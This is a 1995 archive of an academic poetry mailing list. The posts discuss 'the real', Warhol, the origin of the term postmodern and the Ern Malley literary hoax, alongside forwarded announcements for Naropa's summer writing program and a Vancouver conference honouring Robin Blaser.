> *I've got no further with the labyrinth that Duchamp specifically mentions which is the one "beyond space and time". The puzzle is not what is a labyrinth but what is Marcel doing beyond the frame of space and time, and trying to find his way out of that. I can only guess that this is a recognition of a state of consciousness, from which he has to find his way out, to the particulars of these dimensions of the world.*
>
> *" the realization of perfection "... ??*

hi tony, thanks for this. --it's the "beyond time and space" thing that throws me, too. altho i did take the article to a friend working in philosophy here, and he pointed out it's specific to Plato

take care,
carl

↑ Index

282. **Carl Lynden Peters**
Re: really Real, really
Tue 16 May 1995

> *I find most movies are about the reel.*

reminds me of Barthes. i'm assuming he loved the movies, too, all that grain and crackle and all. for me, tho, i have no trouble with the word real. it's like Bernstein says in his poem: "Only the real is real"

i just thot of andy warhol!

c

↑ Index

283. **Edward Foster**
Re: really Real, really
Tue 16 May 1995

---

i, too, saw the real once, i think in egypt, but it might have been iraq. it was, however, an experience, i'll never forget. just to know, finally, that it was there, empirically, rising like dawn, suffusing the heavens, joy, all over the place.

↑ Index

284. **Carl Lynden Peters**
Re: really Real
Tue 16 May 1995

>
> It's the real thing. It's Coke.
>
Andy Warhol is the real!, altho he did the soup cans

↑ Index

285. **Jeffrey Timmons**
Re: really Real
Tue 16 May 1995

The REAL . . . although Real, can also be simulated. This message has been sponsored by . . . .

Jeffrey Timmons

↑ Index

286. **Kevin Killian**
Re: irony
Tue 16 May 1995

> *Dear Dodie, I beg to differ! I don't think the Real can be or ought to be approached only through "deep irony." I capitalize the term to indicate that it possesses, for me, some kind of finality, sublimity even: as that which always, finally escapes representation. However you choose to interpret it, though, it makes a brilliant title!*
>
> *-- Andrew Joron*

Andrew,

I would never question the authenticity of your experiences, and I agree that those moments when representation breaks down are what make the rest of the druggery bearable. But, I don't see how this necessarily has anything to do with the real. I could call in a higher authority here and quote something, but I don't think quoting is much fun unless you tweak and twist the passage to the point of deformity.

How about an anecdote instead! I had drug flashbacks for a number of years and during these experiences I felt, on a gut level, how random and faulty are our capacities for filtering in the world.

The real is like god, Andrew, it will always elude you.

Dodie

↑ Index

287. FUNKHOUSER CHRISTOPH
JACK KEROUAC SCHOOL OF DISEMBODIED POETICS
Tue 16 May 1995

Forwarded message:
Date: Tue, 16 May 1995 17:52:51 -0600 (MST)
From: Catherine Yates <[redacted]>
To: cf2785, [redacted]
Subject: JACK KEROUAC SCHOOL OF DISEMBODIED POETICS

Summer 1995 Program June 19-July15

Summer Faculty List

Abbott, Keith
Blaser, Robin
Berlin, Lucia
Berssenbrugge, Mei Mei
Bromige, David
Brown, Lee Ann
Bye, Reed
Cole, Norma
Collom, Jack
Corman, Cid
Cross, Elsa
Ducornet, Rikki
Fischer, Norman
Fraser, Kathleen

Frym, Gloria
Guest, Barbara
Hamill, Sam
Hawkins, Bobbie Louise
Hejinian, Lyn
Henderson, David
Hintze, Chistian Ide
Hollo, Anselm
Huerta, David
Krysl, Marilyn
Kutik, Ylya
Kyger, Joanne
McElroy, Colleen J.
Mikolowski, Ann
Mikolowski, Ken
Notley, Alice
Penberthy, Jenny
Patton, Julie
Rakosi, Carl
Rodney, Janet
Smith, Willie
Tarn, Nathaniel
Taylor, Steven
Tedlock, Barbara
Tedlock, Dennis
Schelling, Andrew
Seko, Julie
Selby, Hubert
Sikelianos, Eleni
Strauss, David
Sze, Arthur
Waldman, Anne
Waldrop, Rosemarie
Wang, Ping
Warsh, Lewis
Warshall, Peter
Wilson, Peter Lamborn
Yates, Katie

Introduction and History

The Summer Writing Program in Writing and Poetics at the Naropa Institute is a month-long convocation of students, scholars, fiction writers,

Buddhist teachers, Sufi anarchists, feminist scholars, poets and translators. In dialogue with renowned practioners of the poetic arts, students confront the composition of poetry and prose. Each summer practioners of visual and performance arts join poets and fiction writers in collaborative situations. Faculty and students meet individually and in small groups, so that beginning and experienced writers find equal challenge in the program. Participants work in daily contact with some of the most accomplished and notoriously provocative writers of our times - scribes and performers currently charting the directions American writing is taking. The tradition emphasized belongs to the "outrider" or left-hand lineage, which operates outside the cultural mainstream - a heritage of powerful scholarship and counter poetics. Guest faculty change weekly, magnetizing the summer program into a forum that confronts, responds to and intensely challenges a range of writing practices and scholarly methods. As political and ecological crises intensify across our planet, the writer's role raises troubling questions. Bard, "unacknowledged legislator," prophet - or marginal word monger? The program provides three distinct forums which address these concerns: writing workshops directed by guest and resident faculty; daily lectures, readings and colloquia; and faculty-student interviews in which writings are discussed in face-to-face intimacy. The summer program developed out of the Jack Kerouac School of Disembodied Poetics, founded in 1974 by Allen Ginsberg and Anne Waldman. 1995 is the Summer Program's 21st year. Regular features include a month-long fiction track, MFA lectures by distinguished faculty, and an ongoing examination of the environmental, cultural, and linguistic crises occurring on our North American continent. Open to any interested participant, the Summer Writing Program also serves each year as a third trimester for the Naropa Institute's accredited MFA degree track. Students from other institutions or degree programs may elect to attend the month-long program with a six-credit option (for BA credit) or eight-credit option (MFA credit). Masters level credit requires permission of the program directors.

from the Summer Cataloge

* Week One

**The Poetry of Lust of Love Sam Hamill The poetry of lust and love...is rooted in spiritual longing, as demonstrated by the poetics of Sappho and the amatory poems of the Greek anthology and the classical poets of India, China, and Japan. Drawing on these traditions, we explore the erotic lyrical imagination from a layman's Zen perspective, including a look at the poetry of several Zen masters.

**Illuminating Inscapes Katie Yates Writing is an expression which takes textural knowledges and puts it into a textual form. Attention will be focused

on the maitri rooms which we will take to represent a study of/in sensory experience. Writing and collage are the vehicles for this study. This is an intensive investigation of the forms the artists seizes to carry the weight of intellectual acuity inside the extraordinary space of creativity.

**Both, Both Anne Waldman This is a workshop inviting "negative capability." We explore how jumpy imagination and eye and emotion work through various writing experiments that embrace contradiction: being silent, being amitious, being noisy, being deceptive. What's hidden/what's revealed? Writing on top of writing. Can you ever really sit still?

**Writing, Walking Andrew Schelling "I wish to speak a word for Nature, for absolute freedom and wildness--." That's how Thoreau began his essay on walking. Naturalists, contemplatives, artists, poets, from Ice Age Magdalena to T'ang Dynasty China to 20th century nuclear-powered America have gone to the forests and mountains to find fresh thought and language. We go to local mountain trails to practice a variety of procedures--direct observation, cut-up of texts, study of field manuals. Also dream states--particularly for those accustomed to higher altitudes. The dakinis of poetry conceal themselves in solitary places. We "send back our embalmed hearts only as relics--.'

Week Two

**Paradise,or the Theory and Practice of Poles
Lyn Hejinian
A course on "extreme latitudes," literal and figurative.

**Distilled Spirits
Wang Ping
This course explores how to translate your life into fiction. We consider the way culture limits and distracts us and how we liberate ourselves in writing from cultural and psychological boundaries.

**Chinese Poetics
Arthur Sze
This workshop incorporates various aspects of Chinese poetics, including a brief look at poems by: Chang Chi, Li Po, Wang Wei, Li Ho, and Li Ch'ing-chao, as well as discussion of the I Ching.

**Sound Poems Ide Hintze This course involves exercises with the voice: working beyond the alphabetic code. Students compose two and three-voice poems, choric and phonetic poems. Emphasis is also placed on the performance uses of audio and video.

Week Three

**One's-Self I Sing Steven Taylor Everybody sings. Why? For thousands of years, poetry, history and the law were sung, but this practice did not cease with the development of writing. Culture, the story we tell ourselves about ourselves about who we are, is performed in our relationships, political systems, rituals, and in our art works. Song provides a forum for the negotiation of identity. How do songs locate subjects in the framework of subjection? How does song performance reproduce, problematize, negotiate, or change subject positions in structures of dominance? The class listens to music and discusses readings.

**Introduction to Letterpress Printing
Julie Seko
This class introduces letterpress printing. Students learn the history of fine printing, setting type, locking type, operating the press and work in small groups to design and produce broadsides.

**The Cut-Up Technique Anselm Hollo This offering includes a discussion of the "cut-up technique" introduced by William S. Burroughs and Brion Gysin, its antecedents in the visual art forms of montage and collage (Eisenstein, Schwitters), and Dadaist methods of composition (Tristan Tzara). It also examines its refinements and ramifications in the OULIPO group's compositional theory and practice. Students create some texts of their "own" by various related means.

Week Four

**This Side of Memory Norma Cole For centuries of lyric address--from Dante's "intelletto d'amore"(Vita Nuova) to Roberto Tejada's "love's social intellect" (The Gauntlet")--something has been going on record involving these terms. WHAT ABOUT THIS GENEALOGY? Each of the three seminars are structured around a brief introduction and a lot of reading together and discussion in order to explore the geometry of love, social and intellect: and how their relations and tensions motivate and shape, along with memory and song, what we agree to call lyric. Students are encouraged to choose and bring work to be included in the discussion.

**How to Read-How to Write Lee Ann Brown As readers, we are always writing and as writers we are always reading. When we read, we actively produce our own unique interpretation of that text. Our own poetry can be read (and written) as a map of our readings (or misreadings) of other writer's words and of the world. What would happen if we used Gertrude Stein's book "How to Write" as a composition manual? Her "Poetry & Grammar" as a grammar primer? What are our own ideas, beliefs and feelings about syntax, punctuation, grammar, the alphabet--the very building blocks of language? We read from great models for plans of study such as Pound's "ABC's of Reading,

Zukofsy's "A Test of Poetry" and Ed Sander's "Investigative Poetics." This class serves as a forum for students to work out their own plans and structures for long-term readings and writing projects.

**The Third Image David Levi-Strauss The Third Image is what can happen between words and images. A short history of this phenomenon is presented from hieroglyphs and illuminations to multimedia and we write into, on, and around images found and made. "What I love is the relation of the image and the text...The way poets used to enjoy working on difficult problems of versification. The modern equivalent is to find a relation between text and images." Roland Barthes

**Method and Madness
Rosemarie Waldrop
This class includes readings and practice in methods for generating and manipulating ("translating") texts. We draw on procedures of Dada, Surrealism, Oulipo, Cage, Mac Low, etc. while keeping in mind the need to give an occasional nudge to any rule or constraint to keep them from becoming mechanical.

**Current Poetic Music Alice Notley We discuss American poetic music at present, with a view towards how one improves one's own sound and line creating variety, individuality, and pleasure. There is in-class writing and assignments. Special attention is paid to measure and music in longer narrative and hybrid works.

*Sexing the Poem Eleni Sikelianos Language is a skin: I rub my language against the other. It is as if I had words instead of fingers or fingers at the tips of my words (Barthes). The song: first music from the first voice of love (Cixous). Regardless of the subject or treatment, writing; language; has an eros. We are full of "luminous torrents" which are then traced onto the page. Pleasures of the text: words off in the mouth, fill the ear; they form within and spill from the body/field. With erotogeneity in mind, we write, we read. Not writing erotica, but writing corporeal--to inject a little jouissance back into the poem.

****
FOR MORE INFORMATION PLEASE CONTACT*

Max Regan: [redacted]
Monika Edgar: [redacted]
Katie Yates: [redacted]

↑ Index

288. **Andrew Joron**
irony
Tue 16 May 1995

Dear Dodie, I beg to differ! I don't think the Real can be or ought to be approached only through "deep irony." I capitalize the term to indicate that it possesses, for me, some kind of finality, sublimity even: as that which always, finally escapes representation. However you choose to interpret it, though, it makes a brilliant title! -- Andrew Joron

↑ Index

289. **John Byrum**
Re: really Real Andy
Wed 17 May 1995

Dear Carl,

> It's the real thing. It's Coke. (from Ron Silliman's recent message)
>
Andy Warhol is the real!, altho he did the soup cans (from your recent message)

Andy also did the Disaster paintings, skulls, Mao & lots of other celeb portraits, and all kinds of other neat stuff too. Go to Pittsburgh, see the stuff. Now that's a great museum!

John

↑ Index

290. **Aldon L. Nielsen**
Re: the reality check is in the mail
Wed 17 May 1995

---

this represents itself as being a real post from aldon nielsen; however, it is not. it is from ed foster. you can tell 'cause it is three lines.

↑ Index

291. **Lindz Williamson**
Re: really Real Andy
Wed 17 May 1995

On Wed, 17 May 1995, John Byrum wrote:

> Dear Carl,
>

> > It's the real thing. It's Coke. (from Ron Silliman's recent message)
> >
> Andy Warhol is the real!, altho he did the soup cans (from your recent
> message)
>
> Andy also did the Disaster paintings, skulls, Mao & lots of other celeb
> portraits, and all kinds of other neat stuff too. Go to Pittsburgh, see the
> stuff. Now that's a great museum!
>
> John
>
Yes! Warhol is really real. He's the only one that admits art isn't art unless it has streaks and smudges. Imperfection is the real art of being artistic.

Lindz

↑ Index

292. Marjorie Perloff
Re: POETICS Digest - 15 May 1995 to 16 May 1995
Wed 17 May 1995

On the Postmodern from Olson on, etc.: I still think one of the best places to look for discussion of this is in the very first issue of BOUNDARY 2, which has, among other things, David Antin's symptomatic essay on the postmodern. Read today, this represents a Utopian phase, very different from the way the term postmodern was used later. the issue in question appeared in 1972. I've tried to trace the term and comment on its development in a piece in CRITICISM, Summer 1993 that I first gave at Charlie Altieri's conference on PoMo along with Kathryne Lindberg and others at U-Wash. a few months earlier. I was amused to see that although most people here haven't read it, it's been translated into Italian in a new poetry journal called BALDUS.

Whatever the case, the term is used today almost antithetically from what was the case in Olson (for sure!) and even antithetically from Antin's positive description of the postmodern as everything new, cutting edge, avant-garde, exciting, anti-formalist, etc etc etc.

I agree with Aldon Nielsen that it's time we scrapped it!

Marjorie Perloff

↑ Index

293. **Gary Sullivan**

Ern Malley: A Real Cut-Up

Wed 17 May 1995

Reading the following course description (from Chris Funkhouser's forwarding of Naropa material) ...

**The Cut-Up Technique Anselm Hollo This offering includes a discussion of "cut-up technique" introduced by William S. Burroughs and Brion Gysin, its antecedents in the visual art forms of montage and collage (Eisenstein, Schwitters), and Dadaist methods of composition (Tristan Tzara). It also examines its refinements and ramifications in the OUILIPO group's compositional theory and practice. Students create some texts of their "own" by various related means.

... and the current discussion re: "Real," makes me want to yammer on uncontrollably about a recent (4 days ago) "groovy book" find: _The Darkening Ecliptic_, by "Ern Malley," published in Melbourne, Australia in 1944. "Ern Malley" was a pseudonym made up by two Australian poets (whose names aren't in this booklet) who wanted to "expose" "the sham" of "modernism," the sort of thing being published in Australia at that time through Max Harris' magazine _Angry Penguins_. These two poets got together one afternoon and composed 16 poems (using what sounds like Ye Olde Berrigan Methodology), and then spent the next couple of days fleshing out "Ern"'s "life." Here's a sample description of their technique, in their own words: "We produced the whole of Ern Malley's tragic life-work in one afternoon, with the aid of a chance collection of books which happened to be on our desk: the Concise Oxford Dictionary, a Collected Shakespeare, Dictionary of Quotations, etc. "We opened books at random choosing a word or phrase haphazardly. We made lists of these and wove them into nonsensical sentences. "We misquoted and made false allusions. We deliberately perpetrated bad verse, and selected awkward rhymes from a Ripman's Rhyming Dictionary. "The alleged quotation from Lenin in one of the poems, 'The emotions are not skilled workers,' is quite phoney. "The first three lines of the poem 'Culture as Exhibit' were lifted as a quotation from an American report on the drainage of breeding-grounds of mosquitoes."

Here were their "rules of composition":

"1. There must be no coherent theme, at most, only confused and inconsistent hints at a meaning held out as a bait to the reader. "2. No care was taken with verse technique, except occasionally to accentuate its general sloppiness by deliberate crudities. "3. In style the poems were to imitate not Mr. Max Harris in particular, but the whole literary fashion as we knew it from the works of Dylan Thomas, Henry Treece and others."

So, after making 16 poems as per above specs, said poets sent a letter (allegedly from Ern's sister Ethel) to Max Harris, with a couple of poems. The letter gave a brief account of Ern's life & death (to Grave's disease -- which isn't fatal), stating that the poems were found by Ethel while going through Ern's belongings. Harris took the bait, asked for more poems, and "Ethel" sent the whole batch. The poems were printed, with a laudatory preface by Harris, in the next issue of _Angry Penguins_. Then, the hoax was leaked to the press. _Angry Penguins_ sold out very quickly. So, Harris then decides to reprint the whole manuscript, his laudatory preface, and a facsimile of Ethel's initial letter to him, as a 48-page booklet, wanting (I guess) to both take advantage of the sudden popularity of "Malley" as well as to try to "save face." (This lovely, lovely booklet begins with an introduction by Harris, which concludes: "...we do not wish to express an opinion either on the literary merit of the poetry or on the value of the hoax. These matters will be fully dealt with in the succeeding issue of _Angry Penguins_ [God, if I could find a copy of *that*!], and all it is desired to do here is to present, to as wide a public as possible, the works of Ern Malley and the introductory material that was originally published with them.")
Now, w/out further ado, here's the last 18 lines from Ern Malley's "PETIT TESTAMENT," a *thoroughly* entertaining cut-up from the 40s:

It is something to be at last speaking
Though in this No-Man's-language appropriate
Only to No-Man's-Land.
Set this down too:
I have pursued rhyme, image, and metre,
Known all the clefts in which the foot may stick,
Stumbled often, stammered,
But in time the fading voice grows wise
And seizing the co-ordinates of all existence
Traces the inevitable graph

And in conclusion:
There is a moment when the pelvis
Explodes like a grenade. I
Who have lived in the shadow that each act
Casts on the next act now emerge
As loyal as the thistle that in session
Puffs its full seed upon the indicative air.
I have split the infinitive. Beyond is anything.

Apologies to everyone previously familiar with Malley. Everyone else, if you're interested, a book was published maybe a year or two ago called _The Ern Malley Affair_, which details the events, and, I think, includes most or all of the material in this booklet. Jonathan Brannen -- what were the names of the

two poets? (I knew to pick up _The Darkening Ecliptic_ because Jonathan had, only a month prior, been telling me about _The Ern Malley Affair_, which he'd just read.)

TO SUM UP: _The Darkening Ecliptic_, by Ern Malley (Adelaide, 1944) ...

GROOVE FACTOR: A perfect 10.

Yours,

Gary

↑ Index

294. Tenney Nathanson
Re: POETICS Digest - 15 May 1995 to 16 May 1995
Wed 17 May 1995

Just want to second Marjorie's plug of the early Antin piece on pomo. I guess it is utopian. But what I remember (cf. Beckett's Belaqua) is the refutation not the proof: the essay is really smart and vitriolic about the bad version of American new criticism's use of Eliot--Snodgrass, I think it is, gets called a rebirth of "A Shropshire Lad" masquerading as the legacy of modernism. Worth the price of admission. Altieri's take on so-called so-called workshop poetry (/Sense and Sensibility/) is wonderfully smart and vitriolic. Antin's piece is much nastier and even more fun. It's not always necessarily right, but it's a ride.

here's to gorgonzola!

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295. Ron Silliman
Re: really Real
Wed 17 May 1995

This discussion of the "real" (if we can call it that) reminds me of the one time in my life in which I "heard" silence...at dawn in Death Valley at Zabriskie Point, no breeze, not even a lizard stirring. That was 23 years ago and it still remains a profound memory in my life.

Ron Silliman

↑ Index

296. **Herb Levy**
Re: Ern Malley & others
Wed 17 May 1995

Gary Sullivan's description of the <Ern Malley> business ties in nicely with a discussion I was having on the back channel before my computer died last week (please save me from stupid <intelligent> batteries) about the implications of the use of an unacknowledged pseudonym with a false, and provocative, biography.

My position was that the poems were pretty good regardless and that the whole project fell into the tradition of avant garde identity-play. My correspondent was less sure and took some offense at some of the implications.

Who is being tricked, about what, and how much does it matter if the poems seem pretty good?

Any comments?

- Herb

↑ Index

297. **Herb Levy**
Re: the reality check is in the mail
Wed 17 May 1995

On Tue, 16 May 1995, Aldon L. Nielsen wrote:

> *this represents itself as being a real post from aldon nielsen; however,*
> *it is not. it is from ed foster. you can tell 'cause it is three lines.*

Nice try, but the look and feel is all wrong, on my computer at least. It came in as two lines not three and wasn't broken up in the middle of words like ed foster's postings usually are here. It's also not as compacted as his postings are.

So who is this <really> trying to imitate Aldon Nielsen trying to imitate ed foster, anyway?

- Herb

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298. **peter quartermain**

Olson and postmodern

Wed 17 May 1995

I've come into this thread late, so I may be repeating an earlier message from someone else. If so, please bear with and excuse me.

Robin Blaser, in the process of writing notes on his correspondence with Olson for the Minutes of the Charles Olson Society, tells me (and he got it from Ralph Maud who got it from George Butterick) that Olson adopted the term postmodern ("we are the post-modern") from Arnold Toynbee, who attaches the term to the year 1875 in A Study of History, volume ONE (1933), p. 171. Olson probably (according to Butterick via Maud via Blaser -- though there is no record of Toynbee in Olson's reading as compiled by and according to Maud) took it from Somervel's abridgment of the first six volumes of Toynbee's A Study of History (1946) page 39, where Toynbee's graph of chifting civilisations labels, in single quotes, the period "1875 - ?" as "'post-modern' ?"

Full documentation of this (and a great deal else besides) will be in the next issue of the
Minutes of the Charles Olson Society,
published by Ralph Maud at
1104 Maple Street
Vancouver BC Canada V6J 3R6
and available for a modest fee from the Society at that address.

PeterQ

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

↑ Index

299. Tom Mandel
Re: really Real
Wed 17 May 1995

For another take on the real and realism, try my

"Realism" published by Burning Deck in 1991, and its title poem in particular.

Tom Mandel

↑ Index

300. kathryne
Re: Outlaws, Classics, and others
Wed 17 May 1995

thanks, Alan. It seems like forever since I have seen you, but your book will be present in one of my grad. student's independent study.

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301. Charles Watts
Recovery of the Public World
Wed 17 May 1995

>
From: Charles Watts <[redacted]>)
Subject: Panels, Panelists, Readings at the Recovery of the Public
World Conference, June 1-4, 1995

THE RECOVERY OF THE PUBLIC WORLD: A CONFERENCE AND POETRY FESTIVAL IN HONOUR OF ROBIN BLASER, HIS POETRY AND POETICS. JUNE 1-4, 1995, AT EMILY CARR INSTITUTE OF ART AND DESIGN, GRANVILLE ISLAND, VANCOUVER, B.C. SCHEDULE OF EVENTS.

PLEASE NOTE THAT AS OF TODAY, MAY 17, 1995, ALL SEATS FOR THE CONFERENCE PANELS, THE BANQUET, AND THE OPENING NIGHT EVENTS HAVE BEEN FILLED.

IF YOU ARE INTERESTED IN PLACING YOUR NAME ON A WAITING LIST, PLEASE CALL THE INSTITUTE FOR THE HUMANITIES, SFU, [redacted], AND LEAVE YOUR NAME AND A TELEPHONE NUMBER; PERSONS ON THE WAITING LIST WILL BE CALLED IN THE EVENT OF CANCELLATIONS, FIRST COME FIRST SERVED.

THOSE OF YOU WHO HAVE ALREADY REGISTERED SHOULD RECEIVE A LETTER OF RECEIPT IN THE REGULAR MAIL, TELLING YOU WHEN AND WHERE TO PICK UP YOUR REGISTRATION PACKET (IN THE FOYER OF THE

THEATRE, EMILY CARR INSTITUTE OF ART AND DESIGN, BEGINNING THURSDAY MORNING, JUNE 1ST, AT 8:30 A.M.), AND INCLUDING A COPY OF THE CONFERENCE SCHEDULE.

IF YOU HAVE SENT IN A REGISTRATION FORM AND A CHEQUE ONLY VERY RECENTLY, IT MAY NOT HAVE BEEN RECEIVED IN TIME BEFORE THE SEATS WERE SOLD OUT. IF THAT'S THE CASE, WE'LL CONTACT YOU TO LET YOU KNOW THAT WE WILL HOLD YOUR CHEQUE AND PUT YOUR NAME ON OUR WAIT LIST (UNLESS YOU PREFER THAT WE SEND YOU BACK YOUR CHEQUE).

THERE ARE STILL PLENTY OF SEATS FOR THE SATURDAY AND SUNDAY EVENING READINGS AT THE FREDERIC WOOD THEATRE, UNIVERSITY OF B.C., JUNE 3RD & 4TH, 8 P.M. TICKETS FOR THESE TWO READINGS ARE AVAILABLE AT DUTHIE BOOKS OUTLETS -- DUTHIE BOOKS DOWNTOWN, 919 ROBSON ST, VANCOUVER, B.C. [redacted]; DUTHIE BOOKS WEST FOURTH, 2239 W. 4TH AVE, VANCOUVER [redacted]; & DUTHIE BOOKS UNIVERSITY BRANCH, 4444 W. 10TH AVE, VANCOUVER (604) [redacted]. TICKETS FOR THE SATURDAY & SUNDAY NIGHT READINGS ARE ALSO AVAILABLE AT BLACK SHEEP BOOKS, 2742 W. 4TH AVE, VANCOUVER [redacted].

THANKS TO ALL OF YOU ON THIS LIST, CONFERENCE PARTICIPANTS AND PEOPLE WHO HAVE REGISTERED FOR THE CONFERENCE, FOR HELPING TO MAKE THE RECOVERY OF THE PUBLIC WORLD THE FESTIVAL IT PROMISES TO BE.

> *The following is the schedule of events at the Recovery of the Public World Conference and Poetry Festival in honour of Robin Blaser, to be held at Emily Carr Institute of Art and Design, Vancouver, B.C., June 1st through fourth, 1995, together with the names of people who will be taking part:*
>
> *Thursday, June 1st, 8:30 a.m. - 9:25 a.m. Conference registration; pick-up of registration packets and other conference materials, in the foyer of the theatre at Emily Carr Institute of Art and Design.*
>
> *Note: all panels & lunchtime readings will be held in the theatre at Emily Carr.*
>
> *Thursday, June 1st, 9:30 a.m. - 12 noon. Panel: COMPANIONS: SELF, OTHER, COMMUNITY. Chaired by Jenny Penberthy and Charles Watts. Panelists: Michael Boughn, Daniel Burgoyne, Clayton Eshleman, Peter Gizzi, Michael McClure, Kristin Prevallet, Nathaniel Tarn.*
>
> *Thursday, June 1st, 12 noon - 1:15 p.m. Lunch break.*

Thursday, June 1st, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: Deanna Ferguson, Aaron Shurin, Dorothy Trujillo Lusk.

Thursday, June 1st, 2:00 p.m. - 5:00 p.m. Panel: COMPOSITION & PERFORMANCE. Chaired by Daphne Marlatt & Phyllis Webb. Panelists: David Bromige, Peter Middleton, Jed Rasula, David Sullivan, Phyllis Webb.

Thursday, June 1st, 5:00 p.m. - 7:00 p.m. Opening of the gallery exhibit, IN SEARCH OF ORPHEUS: SOME BAY AREA POETS & PAINTERS, 1945-1965. In the Charles H. Scott Gallery, Emily Carr Institute of Art and Design.

(Thursday, June 1st, 5:00 p.m. - 7:30 p.m. Dinner break.)

Thursday, June 1st, 8:00 p.m. - 11:00 p.m. Festival opening, the theatre, Emily Carr. Opening address by Charles Bernstein. Readings by Charles Bernstein, Norma Cole, Daphne Marlatt, Michael Palmer. Performance by Catriona Strang and Francois Houle. Michael Ondaatje introduces Robin Blaser, who will give a talk. Doors open at 7:30 p.m.

Friday, June 2nd, 8:30 a.m. - 9:25 a.m. Conference registration, continued.

Friday, June 2nd, 9:30 a.m. - 12 noon. Panel: 'NO LONGER OR NOT YET': TRANSLATION & THE RECOVERY OF THE PUBLIC WORLD. Chaired by Norma Cole and Michael Palmer. Panelists: Colin Browne, Hilary Clark, Pierre Joris, Susan Vanderborg, Pasquale Verdicchio.

Friday, June 2nd, 12 noon - 1:15 p.m. Lunch break.

Friday, June 2nd, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: Bruce Boone, Andrew Schelling, Pasquale Verdicchio.

Friday, June 2nd, 2:00 p.m. - 5:00 p.m. Panel: HETEROLOGIES. Chaired by Susan Howe and Nathaniel Mackey. Panelists: Steve Dickison, Michele Leggott, D.S. Marriott, Leslie Scalapino, Andrew Schelling.

Friday, June 2nd, 7:30 p.m. - midnight: The Banquet, A FEAST OF COMPANIONS, honouring Robin and invited guests. At Heritage Hall, 3102 Main Street, Vancouver. A salmon barbecue catered by Brian DeBeck. Hosted by Kevin Killian and Ellen Tallman. Stories, music, greetings, poems. Hilarity for all at Heritage Hall!

Saturday, June 3rd, 9:30 a.m. - 12 noon. Panel: ETHICS & AESTHETICS.

Chaired by Lisa Robertson and Jery Zaslove. Panelists: Michael Davidson, Robert Hullot-Kentor, Paul Kelley, Andrew Klobucar, David Levi Strauss, Anne Waldman.

Saturday, June 3rd, 12 noon - 1:15 p.m. Lunch break.

Saturday, June 3rd, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: David Bromige, Norman Finkelstein, Jed Rasula.

Saturday, June 3rd, 2:00 p.m. - 5:00 p.m. Panel: POETICS: THEORY & PRACTICE. Chaired by Charles Bernstein and Miriam Nichols. Panelists: Rachel Blau DuPlessis, Alan Golding, Steve McCaffery, Tom Marshall, Miriam Nichols.

Saturday, June 3rd, 5:00 p.m. - 7:30 p.m. Dinner break.

Saturday, June 3rd, 8:00 p.m. - midnight: Reading at Freddy Wood Theatre, University of British Columbia. Doors open at 7:30 p.m. Readers: Peter Culley, Michael Davidson, Rachel Blau DuPlessis, Clayton Eshleman, Robert Hogg, Susan Howe, Pierre Joris, Kevin Killian, Joanne Kyger, Steve McCaffery, Michael McClure, Karen Mac Cormack, Nathaniel Mackey, D.S. Marriott, Peter Middleton, Jerome Rothenberg, George Stanley, David Levi Strauss, Nathaniel Tarn, Anne Waldman.

Sunday, June 4th, 9:30 a.m. - 12 noon. Panel: EROS & POIESIS. Chaired by Bruce Boone and Sharon Thesen. Panelists: Kevin Killian, Daphne Marlatt, Peter Quartermain, George Stanley, Alan Vardy.

Sunday, June 4th, 12 noon - 1:15 p.m. Lunch break.

Sunday, June 4th, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: Susan Clark, Peter Gizzi, Michele Leggott.

Sunday, June 4th, 2:00 p.m. - 5:00 p.m. Panel: POETICS: FORM & STRUCTURE. Chaired by Pauline Butling and Wystan Curnow. Panelists: Charles Altieri, Pauline Butling, Don Byrd, Joseph Conte, Norman Finkelstein.

Sunday, June 4th, 5:00 p.m. - 7:30 p.m. Dinner break.

Sunday, June 4th, 8:00 p.m. - 11:00 p.m. Festival and conference finale, at Freddy Wood Theatre, University of British Columbia. Readers: E.D. Blodgett, George Bowering, Michael Ondaatje, Lisa Robertson, Leslie Scalapino, Sharon Thesen, Fred Wah, Robin Blaser.

Please note that program times may vary slightly; the list of persons reading is also subject to some change.

Please note also that some pre-conference events have been planned, including a reading and talk by Michael McClure in the new Special Collections and Rare Books rooms at the W.A.C. Bennett Library, Simon Fraser University, Wednesday, May 31st, time to be announced. There will also be a reading by Karen Mac Cormack at the Kootenay School of Writing, 112 West Hastings, Vancouver, at 8:00 p.m., Wednesday, May 31st.

Changes in this program will be announced as they are confirmed.

Registration fees for the conference are as follows:

Entire Package, including panels, readings and banquet: $100; students and fixed incomes: $60.

Panels and readings only: $80; students and fixed incomes: $40.

Banquet only: $25.

Please pay in Canadian funds. If this proves difficult, however, international money orders in U.S. funds for the equivalent amount at current exchange rates will be accepted.

Please note that seating for this conference is limited. If you plan to register for the conference and/or the banquet, it is advisable to do so by the beginning of May. Additional tickets to the Saturday and Sunday night readings will be available at some Vancouver bookstores and at the door on the evening of the reading; admission: $10, $5 for students and fixed incomes.

ACCOMMODATION: Some Recommended Hotels.

The Sylvia Hotel: 1154 Gilford St, Vancouver, BC V6G 2P6, tel: (604) [redacted]. Regular rates: $55-$95 plus 17% tax.

The Buchan Hotel: 1906 Haro St, Vancouver, BC V6G 1H7, tel: (604) [redacted]; Fax [redacted]. Rates: $75-$85 plus 17% tax.

The Granville Island Hotel: 1253 Johnston St, Vancouver, BC V6H 3R9, tel: [redacted]; fax [redacted]. Rates: $150-$195 plus 17% tax. N.B. Hotel rates are in Canadian funds.

More inexpensive accommodation:

Simon Fraser University Campus Accommodations: 212 McTaggart-Cowan Hall, Burnaby, BC V5A 1S6, tel [redacted]; fax: [redacted].
Dorm single: $19-$29. Dorm twin: $48.30. Townhouse unit: $105.80. On the SFU campus, Burnaby Mountain, about 30-40 minutes' drive to the

> *conference site.*
>
> *University of British Columbia: 5961 Student Union Boulevard, Vancouver, BC V6T 2C9, tel: [redacted]; fax: [redacted]. Suite for 3: $95; for 2: $74; for one: $56. Single: $24-$32. Twin: $48. On the UBC campus, about twenty-thirty minutes' drive to the conference.*
>
> *Other inexpensive accommodation listings available on request.*
>
> *To register or for further information, write to The Recovery of the Public World, c/o The Institute for the Humanities, East Academic Annex, Simon Fraser University, Burnaby, B.C. V5A 1S6; tel (voice mail): [redacted]; fax: [redacted]. Or you can reach me by e-mail at the following address: [redacted]*
>
> *Charles Watts*
> *for the organizers,*
> *The Recovery of the Public World*

↑ Index

